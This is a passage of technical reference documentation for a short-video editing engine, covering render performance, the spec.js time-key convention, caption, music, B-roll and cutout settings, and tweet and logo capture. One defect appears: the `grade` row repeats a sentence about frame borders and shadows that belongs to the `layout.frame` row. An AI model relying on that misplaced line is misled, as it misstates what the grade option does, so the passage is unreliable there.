  - `setts=ts=N/(fps*TB)`: Chrome's SPS timing breaks the raw timestamps.
  - `h264_metadata` writing bt709 limited range.
  - `-video_track_timescale`.
- **Media frames (prepare).** An alpha media that is only ever an overlay (`overlayOnly`) is cropped at extraction to the box where it is visible (`alphaBox`), so each frame loads and draws far fewer pixels. Identical consecutive frames (a still screen recording) get an alias in `frames.json` (`alias`): the page loads one image instead of every copy.
- This removes the old per-frame cost: about 12.7 ms of JPEG encode, base64 over CDP, and ffmpeg decode plus re-encode.
- Quality is better too. Against lossless `framePNG` references it scores 38 to 40 dB PSNR, against 35 to 36 dB for the old JPEG path.
- Workers, full length:

  | Workers | 1 | 2 | 4 | 6 | 8 |
  |---|---|---|---|---|---|
  | Time | 28 s | 18 s | 17 s | 18 s | 20 s |

  Default is 2: 4 workers only save 1 s for double the load. Rechecked on 2026-10-21 with the current engine (render-only medians on 2 shorts): 3 workers are 10 % slower (3.61 s to 3.98 s, 4.02 s to 4.45 s), and a deeper encode queue (8 instead of 3) is 6 to 8 % slower. `latencyMode: 'realtime'` was slower too. The M4 Max has two hardware encode engines, and two workers keep both busy.
- `--eco` adds background QoS (efficiency cores only). It is about 8x slower (149 s with 2 workers, 188 s with 1). Use it only when the user is doing something heavy at the same time.
- `--jpeg` forces the old path (JPEG over CDP, then `h264_videotoolbox`). It is also the automatic fallback when `VideoEncoder` is missing.
- `VideoEncoder` only exists in a secure context, which is why the page is served from `http://127.0.0.1`. It is undefined on `about:blank`.

## Matte: Apple Vision, cached

- `matte.swift` is compiled once with `swiftc -O` into `~/Library/Caches/short-editing/matte-<source hash>`, and recompiled automatically when the source changes. The interpreted `swift matte.swift` ran at about the same speed per frame, but it paid startup on every call.
- Cost per frame:

  | Step | Cost |
  |---|---|
  | Vision `.accurate` | 34 ms. Its 2016x1512 mask is the floor, about 30 fps per machine. |
  | Old Core Image upscale, blur and RGBA PNG write | 46 ms, more than Vision itself |
  | Now: vImage resize, vDSP EMA, 5x5 convolution, gray+alpha PNG through ImageIO | about 5 to 10 ms |

- Output is a mask only, `frames/matte/%05d.png` (gray+alpha, 15 MB per 200 frames against 133 MB for RGBA cutouts). The runtime builds the cutout bitmap in `load()`: the mask is drawn with `copy`, then the cam JPG with `source-in` on an OffscreenCanvas. `cutURL` stays virtual, so scenes do not change.
- Parallel workers: 1 gives 19 fps, 2 give 25, 3 give 28, and 6 give 28. The Neural Engine saturates, so the default is 3 (`--matte-workers n`). The contiguous slices are balanced by cost: a cached frame costs about 1, a Vision frame about 7. Each slice primes its EMA on the 8 frames before it, so the slices join without a seam.
- The cache is `frames/.matte-cache`: raw Vision masks keyed by the cam JPG's md5.
  - It is keyed on the frame alone. At 1.15x speed, a cut shifts which source frames neighbour each other, so a multi-frame key hit only a third of frames, against 85% now.
  - The EMA and blur pass always reruns over the whole range. It is cheap.
  - The cache is pruned to the current cut.
- `MATTE_QUALITY=balanced` halves Vision time (512x384 mask) with coarser hair edges. Keep `.accurate` for delivery.

## Rules learned

- Measure before optimizing. The hardware decoder, the obvious pick, was the slowest option for both cam extraction and the QC decode. The matte bottleneck was the Core Image write, not Vision.
- Never decode the video twice. A loudness pass uses `-vn` or rides the decode check as a second output.
- Background QoS (`taskpolicy -b`) costs 5x to 9x. Being niced is enough to stay out of the user's way.

# Scene library

Everything is authored in `source/spec.js` as `window.SPEC = {...}`, with all times in SOURCE seconds (from `files/words.md`).

## Time-key convention (how the engine knows what to map)

`mapSpec` walks the spec and converts SOURCE seconds to SHORT seconds for:

- any number whose key is `at`, `from`, `to`, `until`, or ends in `At`, `From` or `To` (`sendAt`, `countFrom`, `workTo`...)
- the FIRST element of each entry in any array whose key ends in `keys` (`keys`, `labelKeys`...)
- `[a, b]` pairs in `hide` and in any key ending in `spans`
- `'p+X'` strings anywhere a time goes: X seconds into `spec.pause` (the frozen narrator break)
- `'o+X'` strings anywhere a time goes: X seconds into the end card (`spec.outro`)

These are NOT mapped: `offset`, `dur`, sizes and positions, and everything under `media`, `cam`, `cut` and `tighten`. `music.breaks` and `music.end` are mapped by the audio step.

When you add a new time param, name it `somethingAt` / `somethingFrom` / `somethingTo`, or it will silently stay in source time. The reverse bites too: a non-time value named `to` (a target value, a percentage) gets mapped as a time. Call it `value`.

A time that falls inside a removed silence snaps to the start of the next kept segment. Prefer word start times.

## Style layer (creator profile)

`short.mjs init` snapshots the creator profile (the nearest local `.short-editing/style.json` from the short's folder up, never `~/.short-editing`, or `engine/templates/style.json` without one) into `source/style.json`. At load the engine layers engine defaults < `source/style.json` < `spec.js` (`engine/lib/style.js`): the profile sets `colors` and `font` (theme), `paper.grain`, and fills `speed`, `tighten`, `captions`, `music` and `mix` key by key, so the spec only writes what differs for this short. A `cta` scene gets `name` from `creator.name` and `sub` / `button` / `done` from `creator.cta`, else the defaults of `creator.lang` (fr: Plus de vidéos, S'abonner, Abonné). No `source/style.json` (older projects): the raw engine defaults below, unchanged. Schema: `../short-editing-setup/references/style-schema.md`.

## Top level

| key | meaning |
|---|---|
| `title` | free text |
| `format` | `'square'` renders 1080x1080 (1:1 for X), `'wide'` 1920x1080 (16:9, race videos), default 1080x1920. Most scenes centre on `W / 2`, but hand-placed x values assume 1080 wide: check stills on `wide`. Use seam `layout.keys: [[0, 1080]]` for paper only and keep every y under ~1000. |
| `silent` | `true` + `duration: <s>`: no Tella take, no voice, no camera, no captions. Times are plain seconds; music + SFX only. `prepare` just extracts `media`. |
| `media` | `{id: {src, from, dur, width, fill, focus}}` video clips (or one image) for cards and full-screen B-roll. `src` accepts `~`. Frames are extracted once and cached at `width` px (default 960, use 780 for phone-format portrait exports). `fill: true` crops the clip to the frame's aspect first (default width = frame width), around `focus: [x, y]` (0 to 1, default centre): use it for every `broll` media so a landscape clip fills a 9:16 frame without bars. `alpha: true` keeps the clip's transparency (a png-in-mov or ProRes 4444 rendered on a transparent background) as RGBA PNG frames, for the `overlay` scene. |
| `broll` | `[{media, from, to, offset, zoom: .05, focus: [x, y]}]` full-screen B-roll: the clip covers the whole frame (camera and paper) between `from` and `to`, with the voice and captions on top (captions take their over-video look there: white words with a soft shadow, never the straddle's ink half or the bare-paper ink). Quick fade and settle in, a slow push (`zoom`, 0 = still), quick fade out. `hard: true` (or the style's `cuts: 'hard'`) = a straight cut in and out. `offset` = seconds into the clip at `from` (start on the clip's `best_start`). See "Full-screen B-roll" below. |
| `cam` | `{crop: [x, y, w, h] in source px, eyes: [x, y] inside the crop, splitZoom: 1.2, keep: [[x, y, w, h, r]]}`. The card and full screen center on the eyes, so moving `crop` alone changes nothing on screen: to push a cut-off object (a poster sliver) out of the card edge, move `eyes` a few px toward the other side and/or raise `splitZoom` (1.25). `keep`: rounded rects in cam-crop px that every cutout always keeps, for props in front of him that the person matte drops (his mic and boom arm would otherwise leave a paper-coloured hole in his chest). `r` is a number or `[tl, tr, br, bl]`. Measure on `frames/cam` vs `frames/matte` alpha. `wb: false` turns off the automatic white point (see `grade`). |
| `speed` | playback speed of the whole short (voice atempo, camera and media retimed). `1.15` from the default profile (`pace.speed`), 1 with no style snapshot |
| `tighten` | breath kept per boundary after cutting the quiet run: `{sentence: .08, comma: .05, word: .03, lead: .03, tail: .8}` from the default profile (`pace.tighten`); with no snapshot `{.10, .06, .03, .03, .9}` |
| `cut` | `[[a, b]]` source ranges to drop (retakes, dead air) |
| `hold` | `[[a, b]]` source ranges kept verbatim, silences included: a sung rhythm ("tu, tu, tu"), a beat left for an effect |
| `bleep` | `[[a, b]]` source ranges censored: the voice is fully cut there and replaced by a 1 kHz bleep (about -18 LUFS), and those words never show in captions. Cover the whole word, its tail included: read the voice energy, not just the Scribe end time (`3.10, 3.68` for a word Scribe gave as 3.14 to 3.60). |
| `thump` | `[[a, b, dB]]` source ranges where a mic plosive ("p", "b") thumps: the voice is high-passed at 240 Hz there (24 dB/oct, 12 ms crossfades) and moved by `dB` (default -3). For a "bruitage trop fort" with no SFX at that time: measure the voice 80-160 Hz band, the burst jumps 15 dB or more over its neighbours. Cover the burst only (about .2 s). |
| `voices` | `[{at, src: 'assets/x.mp3', gain: 0}]` extra voice clips mixed into the voice bus at `at` WITHOUT freezing the video: an AI answering in the gaps the creator leaves on camera. They play at 1x, so `hold` each gap and size the clip to the gap's short length (gap / `speed`). Pair with a `convo` scene. Example: `shorts/short-opus-55-calin/` (`source/opus-voice.py` makes the clips + word offsets). |
| `outro` | seconds of end card added after the last kept word (e.g. `3.2`): the voice pads with silence, the camera holds its last frame, the music keeps going and fades out by the end. Author its items with `'o+X'` times (`'o+0'` = the end card starts), usually a layout key `['o+0', 1920]` and a `board` `from: 'o+0'`; end the previous board with `to: 'o+0'`. Typical use: a podcast extract that ends on "watch the full episode" + the episode thumbnail as a framed `img` + its short link as a `label`. |
| `pause` | `{at, voice: 'assets/x.mp3', words: 'assets/x.words.json', tail: .12, gain: 0}` the short STOPS at source `at` for the voice's length: frozen frame drains to grey, the voice (ElevenLabs TTS, word-timed via Scribe) plays, music tape-stops and restarts from bar 1 on the resume. Author times inside it as `'p+X'`. Pair with a `pause` scene. |
| `inserts` | `[{at, voice: 'assets/x.wav', tail: .12}]` short voice lines dropped between two sentences at SOURCE `at` (a chapter line: « Piège numéro deux »): the short makes room for each one, the camera holds its frame, the music runs on (no grey drain, no tape stop, unlike `pause`). Author times inside insert K as `'iK+X'`; resume the edit at `'iK+<its length>'` (the insert length is in `assets/timeline.json` `inserts`), never at the source `at`, which can fall in a cut and map before the insert. Typical card: layout `['iK+0', 1920]` + a `board` from `'iK+0'`, `captions.hide` over the same span (a caption line now stops where a hide span starts). Voice: ElevenLabs TTS of the creator's clone, x1.2. Example: `shorts/short-vibe-code-facture/`. |
| `layout.keys` | `[[t, seam]]`: y of the paper/camera seam. `960` = half, `1240` = paper-heavy, `0` = full-bleed camera, `1920` = paper only. A key going to or from `0` (from or to a split) is the window transition: the camera lifts into a rounded card that opens to full screen over the still paper (dim .22, margins and corners bulge mid-move), or closes back into the panel. It starts AT the key time, so put the key on the word. |
| `cutout` | `{from, to, scale: 1.15, x: 540, bottom: 1920}` the speaker cut out (no background) standing on the paper. Pair it with seam `1920` (paper only) for a hook: a card on top, the creator below. See "Speaker cutout" below. Ending on a split seam key hands off smoothly into the camera (see Hook). `{from, to, ride: true, scale: 1.3}`: head in front of the board (aiwithremy): over a split seam (~1000), the camera is bottom-aligned at `scale` (x zoom keys) and he is drawn unclipped, so his head pokes ~250 px up in front of the `stage` board above the seam; in and out on the frame. Put the board on `layer: 'stage'` (an 'over' scene would cover his head). |
| `zoom.keys` | `[[t, z]]` camera punch-in, `1` to `1.15` max. `[t, z, 400]` = an instant punch-in (third value = spring stiffness), still 1.15 max and about one every 4 s (1.3+ every second was rejected as far too aggressive); `sfx.kit.punch` only fires on a zoom IN away from a cut. `zoom.drift: .008` (usually from the style): a slow push of 0.8 %/s inside each shot, restarting on every seam change and every punch (w ≥ 60), capped at 4 s |
| `actors` | media cards (below) |
| `scenes` | stage/over scenes (below) |
| `captions` | `{replace: [['cent pour cent', '100%']], emph: ['Opus', ...], hide: [[a, b]], size: 84, maxWords: 3, maxChars: 16, paperY, style: 'sticker', weight: 800}`. `style`: one of the `capStyles` looks by name or number (21 = `clean`, the white pill of the card layout, base size 42; 22 = `rise`, 23 = `hard`, 24 = `stack`, 25 = `band`, 26 = `dim`) (profile `captions.style`). `dim` (speedy-devv): the phrase builds word by word on centered lines, spoken words in `color` (grey) at `dimWeight` (500), the current word in `hi` (white) at `weight`, an `emph` word keeps a full-radius dark pill (`pill`, default `#2B2B2B`) once said, each word blurs in; pair with `size` ~60, `yKeys: [[0, 300]]` on a dark flat paper. `rise` (DM Sans 900, the white paper style's default) and `hard` (Bricolage Grotesque 800, hard ink shadow) are block looks: the word being said sits on an accent block (`rise` blurs it in, blur to sharp with a 1.04 to 1 settle in about .15 s, then fades it out in place in .12 s when the next word starts; the line itself blurs in per chunk; `blur: false` (rise only, profile `captions.blur`) drops every blur and settle: the line snaps in and the block jumps word to word in .05 s cuts, for styles whose creator finds the blur hard on the eyes. `block: false` (rise only, profile `captions.block`) drops the accent block: each white word appears only when it is said and blurs in on its own (blur .16em to sharp), the line building up word by word, no background (the small chest captions of benkimball.ai; pair with `size` ~58, `font` 'Poppins' (SemiBold 600 only), `weight` 600, `lower: true`, `yKeys: [[0, 1600]]`). Never grow the block up from the bottom, shrink it or slide it: the creator rejected both). Block captions never straddle the seam: in split the line sits on the paper just above the camera card with ink words, full screen it sits on the video with white words, so keep stage items clear of the band just above the seam. `straddle: true` (rise only, profile `captions.straddle`) is the exception: in split the line's middle sits right on the camera card's top edge, ink words throughout, each word on a soft paper glow (no hard white outline: the creator found it dirty, and an outline on the video half only read as cut in two) so it reads on a light or dark background; move the speaker chips to the bottom of the card, out of the line's way. `straddleDy: 70` (with `straddle`): the line sits that many px below the camera's top edge, fully on the video, white words on a soft dark shadow instead of the paper halo (the creator 2026-10-14: shadows, never a white border); `shadow: 1.6` (rise) strengthens that shadow (alpha and blur) on a light background. `style: 'band'` (profile `captions.style`): the whole line on one flat block (`bg`, default ink), white words (`color`), `emph` words in `hi`, hard in and out; `bg: 'none'` drops the block (white words straight on the video with a soft shadow, `shadow: false` = none: the white Geist Pixel chest captions of aiwithremy). `tracking`: letter spacing in em of `size` (e.g. `-.08` tightens the monospaced Geist Pixel toward a proportional pixel face). `font`: caption family override (default: the style's own family, else `font.family`). `paperY`: caption y on full-paper frames (seam 1920), e.g. 860 to keep them off a hook cutout's face. `color: '#FFFFFF'` (rise only, profile `captions.color`): the words keep this color on every layout, never switching to ink on bare paper (white words on a dark flat paper). `lower: true` (profile `captions.lower`): every spoken word in lower case, `replace` values keep their case. `yKeys: [[t, y]]` force the caption y from `t` on (wins over every other rule), e.g. `[[103.72, 890]]` to sit them on a `camSplit` seam. `scaleKeys: [[t, k]]`: lines starting from `t` on are drawn `k` times bigger and hold `k` times fewer characters (the giant hook: `[[0, 2.1], [4.2, 1]]` = one or two huge words per line until 4.2), grown up from the bottom of the line so they never reach the camera card, capped to the frame width (format youtube: scaled lines are centred on the whole frame, across a split, the podcast clips cold open). `hook: {spans: [[a, b], ...], style: 'stack', ...}` (source time): two looks in one short, the base look (rise) everywhere and the `stack` pile (the creator x Nico: small words + one big key word) only inside the spans, drawn with the base captions overridden by the hook's own keys (size, font, maxWords, big, emph, yKeys...); keep the spans on the hook, the stat or promise that makes people stay, the re-hook and the CTA, about a third of the short (the creator: never the pile on the whole short) |
| `music` | `{bpm: 112, start, breaks: [[a, b]] (drums drop), end, mute, drive, bed, src, offset}`. `bed: '<id>'`: a library bed (`assets/music/<id>.mp3`, pick it and its `offset` with `references/music.md`). `src`: any other file, e.g. the creator's own track. Both replace the generated bed (read from `offset` s, looped, ducked under the voice; `breaks` and the `pause` tape stop only apply to the generated bed). `drive: true` = more dynamic bed (four-on-the-floor, clap backbeat, 16th hats, pumping bass, a fill every 4 bars); pair with bpm 120 to 124 and `mix.music` about -25. `start`: the bed enters late (after an on-camera count-in or a sung part). `dropOn: 'punch' | 'cut'` (or both in an array) + `drops: [t]`: the bed cuts out for `dropLen` (.3 s) down to `dropDepth` (.06) under every punch-in / every hard cut / each listed time (hip-hop drop-outs, nico-slowdown). Stock track validated by the creator for ads and tension pieces: `bed: 'tension-ad'` (ElevenLabs, 64 s, its break at 45.75 to 48 s; reference: `shorts/short-tella-cmuqep`, offset .95, `mix.music` -25, `mix.sfx` -34) |
| `layout.frame` | `true` or `{m: 40, gap: 26, bottom: 46, r: 40, border: 9}`: framed camera. In split the camera is a photo pinned on the paper (side margins `m`, `gap` under the seam, `bottom` margin, rounded corners `r`, a white paper `border` and the style's sheet shadow) instead of a full-width panel under the deckle edge. `layout.keys` work as usual: the window transition grows the photo to full screen (margins, corners and border melt to 0) and shrinks it back. Captions stay on the seam. `bleed: true`: the photo runs off the left, right and bottom edges (no margin, no border, square bottom corners), only its top edge keeps the rounded corners, the white border and the shadow (side and bottom margins look bad once platform UIs crop the frame). On in the white paper style. `border: 0` with `bleed`: no white border at all, a soft shadow cast up onto the paper above the camera instead (`shadow`: its height in px, default 40); the creator 2026-10-14 prefers shadows to white borders. |
| `grade` | `true` = the default camera grade, fitted to the take: `prepare` measures the face (median of 5 frames, box under `cam.eyes`) and logs `grade: face luma N`. A dim room (face luma 80 or less) gets the full lift (brighter face and mids, solid blacks, saturation 0.84 so the wood and lamps stop glowing orange, a slight cool shift). Every normal take (100 or more) gets the natural look: no colour shift at all (cutting the red greyed the skin), saturation 0.96, the black point stays, a gentle mids lift that fades out as the take gets brighter (full at face luma 108 or less, none at 128). 80 to 100 blends the two. Both add a touch of clarity. Never contrasty or saturated, never washed out or grey skin (all rejected). Or your own ffmpeg filter chain as a string. Every grade also starts with an automatic white point: `prepare` samples the near-white pixels under `cam.eyes` (cap, shirt) and pulls a cyan, green or warm cast back to neutral (each channel moved by at most 7 %, nothing done under a 1.2 % cast), logged `grade: white point R,G,B -> neutral`; `cam.wb: false` turns it off. Baked into the camera frames at `prepare` (and so into the cutout matte); rerun `prepare` after changing it. Each extraction writes `stills/grade.jpg`: the same frame raw (left) and graded (right); read it once per short. On in the white paper style. `border: 0` with `bleed`: no white border at all, a soft shadow cast up onto the paper above the camera instead (`shadow`: its height in px, default 40); the creator 2026-10-14 prefers shadows to white borders. |
| `layout.card` | Not used: the creator rejected this look (fixed camera, header, text slides). `true` or `{x: 66, y: 1082, w: 948, h: 715, r: 44, zoom: 1.08, bias: .27, capY}`: the clean layout (style the creator Clean). The camera sits in a fixed rounded card, the stage is everything above it (clipped at `y - 6`), and captions sit at `capY` (default `y - 114`). `layout.keys`, window transitions, cutouts and the seam are ignored; `zoom.keys` still punch in inside the card. Pair with `slide` scenes and `paper.bg: 'clean'`. See "Clean layout" below. |
| `header` | Not used (rejected with `layout.card`, "ça fait du bullshit"). `{brand: 'BRAND', mark: 'X', tagline, x: 62, y: 120, size: 42, tagSize: 27}`: a brand line drawn on every frame of the card layout (brand in ink, mark in blue, tagline right-aligned in ink3). From the style. |
| `shake` | `{keys: [[t, amp: 24, dur: .5]]}`: an impact shake of the whole frame (slightly zoomed so no edge shows), decaying over `dur`. Put it on the hit of a `shatter` or a reveal boom, never as a pulse. |
| `glitch` | `{keys: [[t, dur: .4, amp: 1]]}`: a digital glitch of the whole frame centred on `t` (RGB split + torn bands slid sideways, re-rolled every 2 frames, strongest at `t`). Only under a zhhh transition sound (`sfx.files` with `peak: true` on the same `t`), once or twice a short. |
| `vanish` | `{from, to, backAt, back: .45, cell: 12, plate, grow: 10}`: the camera turns to dust between `from` and `to` (blocks swept left to right drift up, shrink and fade, the paper shows through), then from `backAt` the dust flies back in. `plate: 'assets/images/x.png'` (an image of the empty room at the take's own size, the speaker removed) = only the speaker turns to dust and the room stays: `prepare` mattes the whole span (Apple Vision) and builds `frames/plate.jpg` through the same crop and grade, and his silhouette, dilated by `grow` px, is filled with the plate. Use the plate whenever the camera is on screen during the vanish (the creator: the room must never vanish with him). For "je disparais". Keep it clear of a split <-> full window transition; pair with `dust` and `pop-back` in `sfx.files`. |
| `layout.w` | seam spring stiffness (default 10) for split <-> split and paper <-> split moves. Split <-> full camera ignores it (window card). |
| `layout.dur` | window card length in seconds (default .62, smootherstep). |
| `mix` | `{music: -28, sfx: -29.5, duck: .5, ceil: -1.5}` LUFS targets (sfx measured on event hits only, not slides/highlights), duck depth, limiter ceiling |
| `sfx` | `{mute: true}`, `{swish: .35}` (gain of the paper slides, 0 = none), `{slideGap: 8}` (min s between slides; slides only play when the paper re-enters over full camera), `{marker: 1}` (highlight sound gain, 0 = silent), `{strike: 1}` (gain of the scratch on every hand-drawn strike, `strikeAt`; 0 = silent, the creator's styles: « ce bruit est dégueulasse ») or `{extra: [[t, 'tap' / 'pop' / 'slide' / 'bell' / 'thud', gain?]]}`. `files: [{at | endAt, src, gain: -10, pan: 0, peak, offset, len}]`: designed sound files (`assets/sfx/*.mp3`, project-relative, a missing file throws), each levelled on its own to (-16 + gain) LUFS and kept out of the SFX bus measurement. `at` = where it starts, `peak: true` puts its loudest sample on `at` (impacts, whooshes, glass), `endAt` = where it ends (a riser landing on the payoff), `offset` / `len` trim it. Build the hook and the payoff with them (whoosh + glass + boom on a shatter, riser + boom on the reveal, whip on each board whip, dust + pop on a vanish). `kit: {cut, pop, punch, gain: {cut: -13, pop: -11, punch: -9}, gap: .12}` (usually from the style, files project-relative): automatic hits, `cut` on every seam change, cutout / broll edge and `cut` join, `pop` on every board img / logo / icon `at` and `imgKeys` swap, `punch` on every zoom key with w ≥ 60; a cut within .08 s of a pop or punch is dropped |

Captions sit on the seam (clamped to 1400) or at 760 to 1180 when the camera is full-bleed. They hide automatically when there is no speech for more than .55 s.

### Speaker cutout, camera mode (magic backgrounds)

`cutout: {mode: 'cam', from, to, bg: [{at, kind: 'paper' | 'image' | 'cam', src, img, hard, origin: [x, y], w: 6, sticker, focus, birds, birdsTo}]}`

`cutout` can also be an ARRAY mixing one `mode: 'cam'` entry and any number of standard ones, e.g. a full-paper hook cutout `{from: 0, to: 5.2}` plus a cam-mode range later. `prepare` mattes the union range once.

The speaker stays where the camera puts him (any seam, zoom) and only the room changes. Each `bg` layer wipes in as a circle from `origin` (put it on the snapping hand) with a white rim; `paper` gets a white paper-cut sticker outline around him, `image` (project-relative `src`) slowly zooms, and a final `cam` layer at `to` wipes the real room back. `birds: true` sprinkles bird chirps until `birdsTo`. Pair each wipe with a `snap` scene. `hard: true` swaps the layer on a hard cut (no circle). **Text behind the head**: `img` = a full-frame 1080x1920 alpha PNG (a giant magazine word, rendered from an HTML page) drawn over that layer and under the person, so the head overlaps the title; on a `kind: 'cam'` layer the real room stays (e.g. `{at, kind: 'cam', img: 'assets/images/t-huge.png', hard: true}`, then a plain `{at, kind: 'cam', hard: true}` to drop it). At full bleed only about 600 source px around the eyes are visible: for a hand off to the side, drop to seam 960 with `zoom` .85 so the gesture is in frame.

## Full-screen B-roll

B-roll is footage shown over the voice to illustrate what is said: the creator's own clips (the street, the desk, the sunset, the app on the phone), screen recordings, photos. It has no voice of its own. Two ways to show it:

- **Full screen** (`spec.broll`): the clip replaces the whole frame for 2 to 5 s while the sentence plays. For a moment, a place, a feeling: "I moved to Bali" over the rice fields, "I worked every night" over the desk at night. It is the strongest way to illustrate and resets attention.
- **As a card** (`actors`): the clip sits on the paper above the camera, with a label. For proof the viewer must read: a screen recording, a result, a UI.

```js
media: {
  sunset: { src: '~/Movies/B-roll/IMG_2507.MOV', from: 0.3, dur: 5, fill: true },        // fill: cropped to 9:16
  desk:   { src: '~/Movies/B-roll/desk.mp4', fill: true, focus: [.5, .35] },             // keep the top of the frame
},
broll: [
  { media: 'sunset', from: 12.4, to: 15.8 },                   // SOURCE seconds, mapped like every time key
  { media: 'desk', from: 31.0, to: 34.2, offset: 1.5, zoom: 0 },
],
```

Rules:

- Method: `broll/references/use.md` (the `broll` skill). Find clips with the B-roll database, never by opening files: `node <skill>/../broll/scripts/broll.mjs search "<english words>" [--portrait] [--min-dur 3] [--json]` (tags are in English; emotions also work in French). Use the hit's `path` as `src` and its `best_start` as `from` (or `offset`). Then `broll.mjs look <ids>` and Read the sheet: a clip goes in only if the image fits the sentence. No good hit: the library does not have it, so use motion design or a generated image, never a random clip.
- Each `broll` entry covers at least the whole sentence it illustrates (2 to 5 s), starts on the word that names it, and leaves at least 5 s of camera or paper between two B-roll stretches unless the beat is a montage.
- Hide captions only if the clip has text of its own; otherwise captions stay on top (they are drawn after the B-roll).
- A clip with no people works anywhere; a clip with the creator on screen (`is_self`) fits "I", "my", "me" sentences.
- After the short is done: `broll.mjs used <slug> <id ...>` so the next shorts prefer fresh clips.
- `prepare` extracts the B-roll frames (they are `media`), so re-run it after adding or changing one.

## Actors (media cards on the paper stage)

```js
{ id, media, offset, from, to, pre, enter: 'right', keys: [[t, [x, y, w]]], labelKeys: [[t, 'Label']],
  dot: 'blue' | 'gray', ringAt, badge: { text, at }, dimAt, ar, mark: { at, dur, rect: [dx, dy, w, h] }, marks: [mark, ...] }
```

- `ar`: card height/width ratio, default `9 / 16`. Use `16 / 9` for phone-format app exports: two 450-wide cards side by side at x 60 and 570 (seam 1240).

- `offset`: seconds into the media clip at `from`. The clip then plays at the short's `speed`.
- `pre`: start the enter animation this many seconds before `from`, so the card is already settled when the word lands. A negative `pre` delays it, which staggers two cards that share a `from`.
- `keys`: position targets. The card is 16:9 (`h = w * 9/16`) and moves with a spring on each key. Keep `w` constant (800): a card that changes size reads as random.
- `labelKeys`: 42 px label above the card (with `dot`), cross-fading with a small slide between labels. Leave 70 px above the card for it.
- `mark`: blue highlighter that sweeps left to right over a phrase inside the card (multiply blend) when the word is spoken. `rect` is in canvas px from the card's top-left. Measure it on a still. `marks` takes several, each on its own spoken word.
- `ringAt`: blue selection ring. `badge`: blue check pill at the top-right corner. `dimAt`: desaturate and fade (the loser).
- Default enter is a rise from below. `enter: 'right'` slides in from the right.
- When one card waits alone for its rival, centre it first (`x = (1080 - w) / 2`) and add a key that moves it aside as the rival enters. Half an empty stage for several seconds reads as a bug.

### Hook: launch tweet + speaker cutout

For "X just came out" hooks, open on the official announcement with the speaker cut out underneath, from frame 1.

- Capture the tweet crisp: `DEV_BROWSER_ISOLATED=1 dev-browser --browser rec`, CDP `Emulation.setDeviceMetricsOverride` about 390 wide, then `Page.captureScreenshot {clip: {...boundingBox, scale: 3}, captureBeyondViewport: true}`. An element screenshot stays at 2x whatever the DPR. Crop out embedded video thumbnails (they are blurry) and keep the header, text and the views line. A single PNG as `media` gives one frame, which is fine.
- If the only capture is a desktop screenshot, the body text lands around 25 px on a 960 card: unreadable. Rebuild it with the native `tweet` scene instead (below), which sets the body at 40 px.
- Spec: `layout.keys: [[0, 1920], [<end>, 1240]]`, a tweet actor at `[60, 190, 960]` with `ar` = h/w of the PNG, `cutout: {from: 0, to: <end>}`, and a `mark` on the product name. Hide captions over the tweet's first seconds.
- Hand-off (automatic): when the cutout's `to` meets the seam key that leaves 1920 for a split, the camera band does not rise from the bottom. The seam switches at once, the room fades in around the creator, and the cutout glides onto the camera framing (same pixels), so he never leaves the screen. The creator: "je disparais par le bas et je réapparais par le bas, c'est étrange". Keep the cutout `to` equal to that seam key time. `cutout.handoff: false` restores the old drop-out exit.
- The cutout comes from `engine/matte.swift` (Apple Vision person segmentation, accurate, EMA-smoothed mask, soft edge). `prepare` runs it only on the cutout range and writes masks to `frames/matte/`; the runtime composites them over the cam frames. Nothing to install; about 30 fps on the Neural Engine, cached by frame content (`references/performance.md`).

### Media for app demos: phone-format exports, never desktop tool UIs

Shorts are watched on phones. Record each generated app directly at a mobile viewport, never through a compare dashboard or desktop UI.

- Use dev-browser headed (`DEV_BROWSER_ISOLATED=1 dev-browser --browser rec`), because WebGL needs a real window. Then send CDP `Emulation.setDeviceMetricsOverride` `{width: 390, height: 693, deviceScaleFactor: 2, mobile: true}`, which gives 780x1386 frames.
- Run a screenshot loop and log the timestamps. Assemble the frames with the ffmpeg concat demuxer using per-frame durations, then `fps=30`, crf 18. CDP screencast is throttled in a hidden window, so don't use it.
- Heavy 3D only reaches about 8 fps this way. Slow the app down (for example its 0.25x control), record 4x longer, and divide the timestamps by 4.

## Real logos (always)

Any `logo` (tiles item, pipeline header and rows) or actor `labelLogo` that is a project image path (`assets/logos/<name>.png`) draws the real icon, rounded like an app icon. Every named product, tool or app gets its real logo, never a letter glyph. Glyphs are only for generic ideas (CRM, infinity).
Where to find them: App Store icons first (`https://itunes.apple.com/search?term=<app>&entity=software` -> `artworkUrl512`, swap `.jpg` for `.png`), then the product's GitHub `assets/` (icon-master.svg), then the site's `apple-touch-icon` / favicon.svg. Rasterize SVGs to 512 px PNG. Check every icon on a contact sheet before using it (GitHub org avatars are often not the product logo).

## Scenes

Story scenes (`foilHat`, `stampOver`, `cheque`, `crowd`...) and the composable `board` (items: text, chip, stamp, counter, bar, icon, logo, check, any item with `strikeAt`...) are documented in the headers of `engine/lib/scenes-story.js` and `engine/lib/scenes-life.js`. Board item `rot` is in RADIANS (.05 to .1 for a slight tilt; `rot: -4` spins the item half a turn). Motion on any board item: `pop: .6` (enters scaled down and springs to full size), `spin: -.3` (enters rotated, settles to `rot`), `dx` (enter slide), `posKeys`/`scaleKeys` (moves later in the beat; `posW` sets the spring of both, 12 to 14 for a hero-to-slot glide); `morph: true` (the item grows out of the previous scene's `hand()` rect, e.g. the tweet's image, over `morphDur` .62 s); `hold: true` (a counter keeps its authored `at` instead of entering with its count); `shown: true` (no entrance: the item is already on screen at its `at`, e.g. the hook logo on frame 0, which is also the cover); `slot: false` (skips the same-slot handoff wait); scene `gate: false` (enters on its own `from` even right after another scene's exit). Choreography rules behind these: design-system "Premium choreography". Board `push` (slow zoom over the board's life around `pushAt`, so a held beat never sits still; default .025 on boards of 3 s or more, `push: 0` turns it off) and `outDx: -700` (the board whips out sideways instead of rising; pair it with the next board's items entering with a positive `dx`). Board `img` takes `frame: 14` for a white print border (a premium photo card). Board item `glass {x, y, w, h, tint}` is a frosted panel (silent, no SFX slot); on a `layer: 'over'` board it puts text and icons on the camera without a layout move (`glass()` helper in `templates/youtube.js`). Board item `screen {img | imgKeys, w, h, viewKeys, rings, arrows}` shows a real UI screenshot (a crop of the long-form's screen recording) in a dark window: `viewKeys` spring-zoom onto a region (image px center + zoom), `rings` dim the rest and outline one element, `arrows` draw on toward a tip in image px; use it whenever the creator asks for "la vraie interface" with zooms and arrows. `imgKeys: [[t, img]]` swaps the content in place (a short cross-fade) for a UI that changes state, e.g. the Recorder before / during / after recording, while `viewKeys` keep zooming. Board item `edit {imgs, w: 960, vh: 150, markAt, cutAt, capsAt, fxAt, playFrom, playTo, steps: [{text, at}]}` is an editing timeline that 